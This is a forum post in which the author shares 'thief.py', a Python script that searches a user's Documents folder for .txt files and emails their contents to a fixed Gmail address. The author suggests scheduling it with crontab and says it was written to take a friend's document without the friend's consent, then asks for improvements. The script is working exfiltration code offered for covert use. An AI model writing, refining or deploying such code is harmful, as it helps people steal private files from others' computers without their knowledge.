Author Topic: thief.py auditions  (Read 560 times)

0 Members and 1 Guest are viewing this topic.

Offline pyte

  • Peasant
  • *
  • Posts: 79
  • Cookies: -7
    • View Profile
thief.py auditions
« on: May 27, 2013, 08:26:15 am »
I'm submitting yet another of my n00b scripts.It works  ;)
It is meant to run though a path and fetch a file (i have tested .txt only) and read into the targeted file and send the contents of the file as an email.
a good one if it added to crontab .could send at specified intervals.
honestly i wrote this one thinking about a document in my friends laptop which he so refuses to share. ;D

kindly check it out and highlight any issues or better ways to do the same.
Regards,
pyte


Code: [Select]
import getpass
import os
import fnmatch
import datetime
import smtplib


#specs
Username = getpass.getuser()
rootPath = ('/home/'+Username +'/Documents/') #add a path to target
pattern = '*.txt'
Last_edit = datetime.datetime.fromtimestamp(os.path.getmtime(rootPath))
Current_time = datetime.datetime.now()
File_age = Current_time - Last_edit


#while Targeting a specific user
if Username == "some_specific_user_name" :
   for root, dirs, files in os.walk(rootPath):
    for filename in fnmatch.filter(files, pattern):
#how old the file is in hour
        if File_age > datetime.timedelta(hours =1):
             print filename
           


#sends email with attachments being the captured files
#to get the exact file path
Path = rootPath +filename
fo = open(Path, "rb")
filecontent = fo.read()
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587
 
sender = 'userx@gmail.com'
password = '*******'
recipient = 'recipienty@gmail.com'
subject = 'Alot of crap'
body = filecontent
 
body = "" + body + ""
 
headers = ["From: " + sender,
           "Subject: " + subject,
           "To: " + recipient,
           "MIME-Version: 1.0",
           "Content-Type: text/html"]
headers = "\r\n".join(headers)
 
session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
 
session.ehlo()
session.starttls()
session.ehlo
session.login(sender, password)
 
session.sendmail(sender, recipient, headers + "\r\n\r\n" + body)
session.quit()

If you don't go into the tiger's cave, how will you get the cub?